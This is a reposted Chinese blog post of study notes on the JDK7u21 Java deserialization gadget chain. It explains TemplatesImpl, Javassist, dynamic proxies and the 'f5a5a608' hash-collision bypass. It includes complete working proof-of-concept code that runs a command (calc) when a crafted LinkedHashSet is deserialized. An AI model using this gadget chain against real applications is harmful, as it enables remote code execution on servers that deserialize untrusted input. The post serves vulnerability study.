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JDK7u21反序列化Gadgets

本文轉載自   查看原文   2020-02-23 18:09   1417    Java

原文https://l3yx.github.io/2020/02/22/JDK7u21%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Gadgets/#more

一開始是學習FastJson反序列化的POC，然后發現欠缺不少知識，遂來補一下，收獲良多，總結下筆記

所謂JDK反序列化Gadgets就是不同於利用Apache-CommonsCollections這種外部庫，而是只利用JDK自帶的類所構造的

先下載並配置好JDK7u21

Javassist

為了理解POC構造過程，還需要學習一些前置知識，Java 字節碼以二進制的形式存儲在 .class 文件中，每一個 .class 文件包含 Java 類或接口，Javassist 就是一個用來 處理 Java 字節碼的類庫

pom.xml

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<dependency>
 <groupId>org.javassist</groupId>
 <artifactId>javassist</artifactId>
 <version>3.19.0-GA</version>
</dependency>

例如

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import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;
import java.util.Arrays;

public class Demo {
 public static void main(String[] args) throws Exception {
 ClassPool pool = ClassPool.getDefault();//ClassPool對象是一個表示class文件的CtClass對象的容器
 CtClass cc = pool.makeClass("Evil");//創建Evil類
 cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));//設置Evil類的父類為AbstractTranslet
 CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);//創建無參構造函數
 cons.setBody("{ Runtime.getRuntime().exec(\"calc\"); }");//設置無參構造函數體
 cc.addConstructor(cons);

 byte[] byteCode=cc.toBytecode();//toBytecode得到Evil類的字節碼
 System.out.println(Arrays.toString(byteCode));

 cc.writeFile("D:/Evil/");//將字節碼寫到D:/Evil/

 cc.toClass().newInstance();//得到Evil類類對象，借助反射構建Evil對象
 }
}

將D:/Evil/Evil.calss拖入IDEA即可反編譯，可以看見javassist動態構建出了如下類

image-20200222150342279

至於為什么要繼承AbstractTranslet，和構造函數中寫命令執行的payload就涉及到下面POC的構造，暫時只需要了解javassist的大概功能

TemplatesImpl

之前參考網上分析文章的POC是從ysoserial中修改得來的，代碼中使用了ysoserial的一些類，我修改了一下將POC核心部分單獨提取出來方便理解

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import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import java.lang.reflect.Field;

public class Demo {
 public static void main(String[] args) throws Exception {
 ClassPool pool = ClassPool.getDefault();//ClassPool對象是一個表示class文件的CtClass對象的容器
 CtClass cc = pool.makeClass("Evil");//創建Evil類
 cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));//設置Evil類的父類為AbstractTranslet
 CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);//創建無參構造函數
 cons.setBody("{ Runtime.getRuntime().exec(\"calc\"); }");//設置無參構造函數體
 cc.addConstructor(cons);
 byte[] byteCode=cc.toBytecode();//toBytecode得到Evil類的字節碼

 byte[][] targetByteCode = new byte[][]{byteCode};
 TemplatesImpl templates = TemplatesImpl.class.newInstance();
 setFieldValue(templates,"_bytecodes",targetByteCode);
 setFieldValue(templates,"_class",null);
 setFieldValue(templates,"_name","xx");
 setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

 templates.getOutputProperties();
 }

 //通過反射為obj的屬性賦值
 private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
 Field field=obj.getClass().getDeclaredField(fieldName);
 field.setAccessible(true);
 field.set(obj,value);
 }
}

主要就是利用了TemplatesImpl，向其中的_bytecodes屬性賦值了一個惡意類，最終該惡意類被實例化並且調用了構造函數中的命令執行payload。javassist在這里的作用呢其實主要就是構建這么一個惡意類，並且得到其字節碼用以給TemplatesImpl相關屬性賦值，所以可以自行編譯一個惡意類並讀入字節碼來使用

但會發現這里其實反序列化TemplatesImpl后還需要調用getOutputProperties()方法才能觸發，不過在FastJson中已經可以形成完整利用鏈

在getOutputProperties()函數下斷點，跟蹤一下執行過程

強制進入該函數

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer

image-20200222160020838

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance

這里得到POC中兩項屬性的構造條件，即_name不能為null，_class為null，然后進入defineTransletClasses()

其實最終的觸發點就在380行_class[_transletIndex].newInstance()，defineTransletClasses()是對_class和_transletIndex賦值

image-20200222160124453

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses

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代碼比較長這里就直接復制出來了

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private void defineTransletClasses()
 throws TransformerConfigurationException {

 //_bytecodes不能為null
 if (_bytecodes == null) {
 ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
 throw new TransformerConfigurationException(err.toString());
 }

 TransletClassLoader loader = (TransletClassLoader)
 AccessController.doPrivileged(new PrivilegedAction() {
 public Object run() {
 /*在JDK7u80這一段代碼是不同的
 TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
 所以為了兼容JDK7u80，_tfactory需要存在findClassLoader()方法，即TransformerFactoryImpl類*/
 return new TransletClassLoader(ObjectFactory.findClassLoader());
 }
 });

 try {
 //獲取_bytecodes長度並創建_class數組，所以POC中將惡意類的字節碼轉換為一個二維字節數組，new byte[][]{byteCode}
 final int classCount = _bytecodes.length;
 _class = new Class[classCount];

 if (classCount > 1) {
 _auxClasses = new Hashtable();
 }

 for (int i = 0; i < classCount; i++) {
 //_bytecodes[0]即為惡意類的字節碼，ClassLoader.defineClass將字節數組轉換為類的一個實例類
 _class[i] = loader.defineClass(_bytecodes[i]);
 final Class superClass = _class[i].getSuperclass();

 //判斷惡意類的父類，即必須為com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
 if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
 _transletIndex = i;
 }
 else {
 _auxClasses.put(_class[i].getName(), _class[i]);
 }
 }

 if (_transletIndex < 0) {
 ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
 throw new TransformerConfigurationException(err.toString());
 }
 }
 catch (ClassFormatError e) {
 ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
 throw new TransformerConfigurationException(err.toString());
 }
 catch (LinkageError e) {
 ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
 throw new TransformerConfigurationException(err.toString());
 }
}

defineTransletClasses()執行完以后，回到getTransletInstance(),此時_class[_transletIndex]已經為Evil類的一個類對象，調用newInstance()實例化Evil即可觸發該類構造函數或者靜態代碼塊中的代碼

image-20200222160756476

所以總結以上條件，便可理解TemplatesImpl的構造

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setFieldValue(templates,"_bytecodes",targetByteCodes);
setFieldValue(templates,"_class",null);
setFieldValue(templates,"_name","xx");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

動態代理

以上POC是需要反序列化TemplatesImpl類並調用其getOutputProperties()方法才能觸發，即可以放入FastJson的反序列化處，但若沒有觸發getOutputProperties()的點，就需要尋找其他手段

代理是為了在不改變目標對象方法的情況下對方法進行增強，比如，我們希望對方法的調用增加日志記錄，或者對方法的調用進行攔截

假設有一個Person類實現了IPerson接口中的say方法，但現在要在say方法前后實現一些邏輯，那么借助動態代理實現如下

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import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

public class Test {
 public static void main(String[] args) throws Exception {
 Person person = new Person();
 Handler handler = new Handler(person);
 //Proxy.newProxyInstance會返回一個代理對象，第一個參數為類加載器，第二個參數為實際對象實現的接口，第三個即為我們構造的handler對象
 IPerson iPerson = (IPerson) Proxy.newProxyInstance(IPerson.class.getClassLoader(), new Class[] {IPerson.class}, handler);
 iPerson.say("Hello");//調用代理對象的say,即會調用傳入的handler對象中的invoke，並傳入方法對象和參數
 }
}

//需要被代理的對象實現的接口
interface IPerson{
 void say(String sentence);
}

//實際需要被代理的對象
class Person implements IPerson{
 public void say(String sentence) {
 System.out.println(sentence);
 }
}

//Handler對象,需要繼承InvocationHandler，調用代理對象的方法時，實際會調用Handler的invoke方法
class Handler implements InvocationHandler{
 private Object target;
 Handler(Object target){
 this.target=target;
 }
 //proxy為代理對象，method為要調用的方法的Method對象，args為調用method時傳入的參數
 public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
 System.out.println("I am speaking");
 method.invoke(target, args);//通過反射調用實際對象target的method方法
 System.out.println("My word is over");
 return null;
 }
}

AnnotationInvocationHandler

AnnotationInvocationHandler就是一個InvocationHandler的實現類，也在下面的POC中起到關鍵作用

先貼出整理好的POC

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import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.*;
import javassist.*;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.*;

public class Demo {
 //序列化
 public static byte[] serialize(final Object obj) throws Exception {
 ByteArrayOutputStream btout = new ByteArrayOutputStream();
 ObjectOutputStream objOut = new ObjectOutputStream(btout);
 objOut.writeObject(obj);
 return btout.toByteArray();
 }
 //反序列化
 public static Object unserialize(final byte[] serialized) throws Exception {
 ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
 ObjectInputStream objIn = new ObjectInputStream(btin);
 return objIn.readObject();
 }

 //通過反射為obj的屬性賦值
 private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
 Field field=obj.getClass().getDeclaredField(fieldName);
 field.setAccessible(true);
 field.set(obj,value);
 }

 //封裝了之前對惡意TemplatesImpl類的構造
 private static TemplatesImpl getEvilTemplatesImpl() throws Exception{
 ClassPool pool = ClassPool.getDefault();//ClassPool對象是一個表示class文件的CtClass對象的容器
 CtClass cc = pool.makeClass("Evil");//創建Evil類
 cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));//設置Evil類的父類為AbstractTranslet
 CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);//創建無參構造函數
 cons.setBody("{ Runtime.getRuntime().exec(\"calc\"); }");//設置無參構造函數體
 cc.addConstructor(cons);
 byte[] byteCode=cc.toBytecode();//toBytecode得到Evil類的字節碼
 byte[][] targetByteCode = new byte[][]{byteCode};
 TemplatesImpl templates = TemplatesImpl.class.newInstance();
 setFieldValue(templates,"_bytecodes",targetByteCode);
 setFieldValue(templates,"_class",null);
 setFieldValue(templates,"_name","xx");
 setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
 return templates;
 }
 
 public static void main(String[] args) throws Exception {
 TemplatesImpl templates=getEvilTemplatesImpl();

 HashMap map = new HashMap();

 //通過反射創建代理使用的handler，AnnotationInvocationHandler作為動態代理的handler
 Constructor ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
 ctor.setAccessible(true);
 InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);

 Templates proxy = (Templates) Proxy.newProxyInstance(Demo.class.getClassLoader(), templates.getClass().getInterfaces(), tempHandler);

 LinkedHashSet set = new LinkedHashSet();
 set.add(templates);
 set.add(proxy);

 map.put("f5a5a608", templates);

 byte[] obj=serialize(set);
 unserialize(obj);
 }
}

可見最后unserialize(obj)只是反序列化了一個LinkedHashSet類就觸發了命令執行

Java在反序列化的時候會調用ObjectInputStream類的readObject()方法，如果被反序列化的類重寫了readObject()，那么該類在進行反序列化時，Java會優先調用重寫的readObject()方法

LinkedHashSet沒有readObject()但是繼承自HashSet

image-20200222200618469

HashSet實現了Serializable接口並且有readObject()方法，所以在反序列化LinkedHashSet時會調用其父類HashSet的readObject()，可以在該函數處下斷點運行POC進一步跟蹤調試

image-20200222200653974

java.util.HashSet#readObject

image-20200222200740551

到309行的邏輯是將POC中add到set的templates和proxy加入到map中，

image-20200222201701982

PRESENT是一個常量，就是一個新的object對象

image-20200222225202662

繼續跟進put方法，會在第二次調用map.put時進入下面的475行的位置，即現在傳入的key是proxy

java.util.HashMap#put

image-20200222203051744

這段代碼本意是判斷最新的元素是否已經存在的元素，如果不是已經存在的元素，就插入到table中，e.key為前一個元素即templates，key為當前元素proxy

table[i]就是一個鍵為我們構造的templates的Map

image-20200222220213982

當前的e.key和key，一個是templates,另一個是POC中的proxy，顯然不同，(k = e.key) == key為false

image-20200222220451248

這條鏈想要完成是需要進入key.equals(k)的，依據短路特性，那么必須要e.hash == hash為true，也就是需要滿足 hash(templates)== hash(proxy)，看起來貌似不可能，但漏洞作者確實做到了（大寫的佩服）

這里hash的繞過方法就暫時放在下面，先接着跟蹤key.equals(k)

image-20200222203511373

由於POC中使用動態代理，這里調用Templates.equals()就會進入handler的invoke

sun.reflect.annotation.AnnotationInvocationHandler#invoke

var1就是上圖中的key，var2是equals方法對象，var3是傳入的參數數組，即上圖中的k(TemplatesImpl)

image-20200222204446774

繼續跟入equalsImpl

sun.reflect.annotation.AnnotationInvocationHandler#equalsImpl

image-20200222210434857

分析之前先看一下這個類的相關方法和屬性

首先是構造函數

sun.reflect.annotation.AnnotationInvocationHandler#AnnotationInvocationHandler

image-20200222210525096

在構造handler時ctor.newInstance(Templates.class, map)

即這里的this.type和this.memberValues分別是Templates.class和map

sun.reflect.annotation.AnnotationInvocationHandler#getMemberMethods

image-20200222210905902

並未對this.memberMethods賦值，所以這里進入if分支，最后返回的是this.type的所有方法，即Templates的所有方法

sun.reflect.annotation.AnnotationInvocationHandler#asOneOfUs

判斷var1對象若是一個AnnotationInvocationHandler實例的話則轉換為AnnotationInvocationHandler

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然后接着看equalsImpl

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private Boolean equalsImpl(Object var1) {//var1是POC中構造的templates
 if (var1 == this) {
 return true;
 } else if (!this.type.isInstance(var1)) {
 return false;
 } else {
 Method[] var2 = this.getMemberMethods();//var2是Templates的所有方法
 int var3 = var2.length;//Templates方法的數量

 for(int var4 = 0; var4 < var3; ++var4) {//迭代Templates的所有方法
 Method var5 = var2[var4];//var5為Templates的中的某個方法
 String var6 = var5.getName();//var6為該方法的名稱
 Object var7 = this.memberValues.get(var6);//在memberValues中獲取key為var6的值，但memberValues只有一個key為f5a5a608的鍵值對，所以var7為null
 Object var8 = null;
 AnnotationInvocationHandler var9 = this.asOneOfUs(var1);//var9也為null
 if (var9 != null) {
 var8 = var9.memberValues.get(var6);
 } else {
 try {
 var8 = var5.invoke(var1);//運行會到這里，所以會調用Templates中的所有方法
 } catch (InvocationTargetException var11) {
 return false;
 } catch (IllegalAccessException var12) {
 throw new AssertionError(var12);
 }
 }

 if (!memberValueEquals(var7, var8)) {
 return false;
 }
 }

 return true;
 }
}

既然調用了Templates中的所有方法，自然包括getOutputProperties()，即完成了命令執行

Hash繞過

image-20200222203511373

java.util.HashMap#hash

hash()中調用了對象本身的hashCode()

image-20200222230037778

調用hash(templates)的時候，這個類沒有重寫，調用的是templates默認的hashCode()方法

當調用hash(proxy)的時候，則會跳到AnnotationInvocationHandler.invoke()

sun.reflect.annotation.AnnotationInvocationHandler#invoke

image-20200222223127808

sun.reflect.annotation.AnnotationInvocationHandler#hashCodeImpl

該方法會從memberValues中進行遍歷，並且依次計算key.hashCode()，而這個memberValues是我們在初始化AnnotationInvocationHandler的時候傳入的map

image-20200222223209538

sun.reflect.annotation.AnnotationInvocationHandler#memberValueHashCode

image-20200222230700698

所以

var1=0; var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())

相當於

var1 = 127 * map中鍵的hashCode ^ map中值的hashCode

POC中構造map.put("f5a5a608", templates),而字符串的hashCode為0

所以

var1 = 127 * 0 ^ templates的hashCode

var1 = templates的hashCode

map.put的位置問題

仔細觀察POC會發現，並沒有在創建一個HashMap后就立即插入數據，而是把map.put("f5a5a608", templates)放在了set.add之后

image-20200223000229937

如果放在set.add之前會直接在本地觸發命令執行，並且得到的序列化之后的數據不能反序列化成功

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java.util.HashSet#add

這是因為add方法中會直接調用map.put，然后后面的過程就同之前分析的一致了

image-20200223001156031

參考

JDK反序列化Gadgets 7u21

JDK7u21反序列化漏洞分析

秒懂Java動態編程（Javassist研究）

Java動態代理-實戰


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